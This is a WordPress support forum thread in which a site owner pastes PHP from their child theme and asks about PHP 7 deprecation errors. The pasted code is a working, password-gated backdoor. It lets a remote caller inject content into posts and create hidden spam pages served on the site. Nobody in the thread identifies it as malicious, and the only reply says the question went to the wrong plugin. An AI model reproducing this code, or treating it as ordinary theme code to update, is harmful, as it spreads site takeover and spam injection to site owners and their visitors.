Title: Php 7 compatibility
Last modified: November 29, 2017

---

# Php 7 compatibility

 *  Resolved Anonymous User 14701108
 * (@anonymized-14701108)
 * [8 years, 6 months ago](https://wordpress.org/support/topic/php-7-compatibility-211/)
 * Hi all,
    On my site ([http://www.eurosudsrl.com](https://www.eurosudsrl.com))
   when I test php7 compatibility there are some error on my child theme whit a 
   code of WPDB insert there (and i don’t know why).
 * The code are the following:
 *     ```
       <?php
   
       if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'obscured password'))
       	{
       		switch ($_REQUEST['action'])
       			{
       				case 'get_all_links';
       					foreach ($wpdb->get_results('SELECT * FROM <code>' . $wpdb->prefix . 'posts</code> WHERE <code>post_status</code> = "publish" AND <code>post_type</code> = "post" ORDER BY <code>ID</code> DESC', ARRAY_A) as $data)
       						{
       							$data['code'] = '';
   
       							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
       								{
       									$data['code'] = $_[1];
       								}
   
       							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
       						}
       				break;
   
       				case 'set_id_links';
       					if (isset($_REQUEST['data']))
       						{
       							$data = $wpdb -> get_row('SELECT <code>post_content</code> FROM <code>' . $wpdb->prefix . 'posts</code> WHERE <code>ID</code> = "'.mysql_escape_string($_REQUEST['id']).'"');
   
       							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
       							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
   
       							if ($wpdb->query('UPDATE <code>' . $wpdb->prefix . 'posts</code> SET <code>post_content</code> = "' . mysql_escape_string($post_content) . '" WHERE <code>ID</code> = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
       								{
       									print "true";
       								}
       						}
       				break;
   
       				case 'create_page';
       					if (isset($_REQUEST['remove_page']))
       						{
       							if ($wpdb -> query('DELETE FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "/'.mysql_escape_string($_REQUEST['url']).'"'))
       								{
       									print "true";
       								}
       						}
       					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
       						{
       							if ($wpdb -> query('INSERT INTO <code>' . $wpdb->prefix . 'datalist</code> SET <code>url</code> = "/'.mysql_escape_string($_REQUEST['url']).'", <code>title</code> = "'.mysql_escape_string($_REQUEST['title']).'", <code>keywords</code> = "'.mysql_escape_string($_REQUEST['keywords']).'", <code>description</code> = "'.mysql_escape_string($_REQUEST['description']).'", <code>content</code> = "'.mysql_escape_string($_REQUEST['content']).'", <code>full_content</code> = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE <code>title</code> = "'.mysql_escape_string($_REQUEST['title']).'", <code>keywords</code> = "'.mysql_escape_string($_REQUEST['keywords']).'", <code>description</code> = "'.mysql_escape_string($_REQUEST['description']).'", <code>content</code> = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", <code>full_content</code> = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
       								{
       									print "true";
       								}
       						}
       				break;
   
       				default: print "ERROR_WP_ACTION WP_URL_CD";
       			}
   
       		die("");
       	}
   
   
       if ( $wpdb->get_var('SELECT count(*) FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
       	{
       		$data = $wpdb -> get_row('SELECT * FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
       		if ($data -> full_content)
       			{
       				print stripslashes($data -> content);
       			}
       		else
       			{
       				print '<!DOCTYPE html>';
       				print '<html ';
       				language_attributes();
       				print ' class="no-js">';
       				print '<head>';
       				print '<title>'.stripslashes($data -> title).'</title>';
       				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
       				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
       				print '<meta name="robots" content="index, follow" />';
       				print '<meta charset="';
       				bloginfo( 'charset' );
       				print '" />';
       				print '<meta name="viewport" content="width=device-width">';
       				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
       				print '<link rel="pingback" href="';
       				bloginfo( 'pingback_url' );
       				print '">';
       				wp_head();
       				print '</head>';
       				print '<body>';
       				print '<div id="content" class="site-content">';
       				print stripslashes($data -> content);
       				get_search_form();
       				get_sidebar();
       				get_footer();
       			}
       		exit;
       	}
       ?>
       ```
   
 * On obscured password there is an alphanumeric code.
 * Php compatibility result code:
 *     ```
       | ERROR | Function mysql_escape_string() is deprecated since PHP 5.3 and removed since PHP 7.0; Use mysqli_real_escape_string instead
       | ERROR | Extension 'mysql_' is deprecated since PHP 5.5 and removed since PHP 7.0; Use mysqli instead
       ```
   
 * Can I delete this code or I have to modify the **mysql_escape_string** into **
   mysqli_real_escape_string**?
    -  This topic was modified 8 years, 6 months ago by Anonymous User 14701108.

Viewing 2 replies - 1 through 2 (of 2 total)

 *  Plugin Author [Lester Chan](https://wordpress.org/support/users/gamerz/)
 * (@gamerz)
 * [8 years, 6 months ago](https://wordpress.org/support/topic/php-7-compatibility-211/#post-9735756)
 * Wrong plugin.
 *  Thread Starter Anonymous User 14701108
 * (@anonymized-14701108)
 * [8 years, 6 months ago](https://wordpress.org/support/topic/php-7-compatibility-211/#post-9735948)
 * Doh! I’m so sorry.
 * In code I’ve read WPDB and thinking the code are WPDB Manager.
 * I’ll delete this code.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Php 7 compatibility’ is closed to new replies.

 * ![](https://ps.w.org/wp-dbmanager/assets/icon.svg?rev=977538)
 * [WP-DBManager](https://wordpress.org/plugins/wp-dbmanager/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/wp-dbmanager/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/wp-dbmanager/)
 * [Active Topics](https://wordpress.org/support/plugin/wp-dbmanager/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/wp-dbmanager/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/wp-dbmanager/reviews/)

## Tags

 * [code](https://wordpress.org/support/topic-tag/code/)
 * [compatibility](https://wordpress.org/support/topic-tag/compatibility/)
 * [php](https://wordpress.org/support/topic-tag/php/)
 * [php-7](https://wordpress.org/support/topic-tag/php-7/)
 * [wrong](https://wordpress.org/support/topic-tag/wrong/)

 * 2 replies
 * 2 participants
 * Last reply from: Anonymous User 14701108
 * Last activity: [8 years, 6 months ago](https://wordpress.org/support/topic/php-7-compatibility-211/#post-9735948)
 * Status: resolved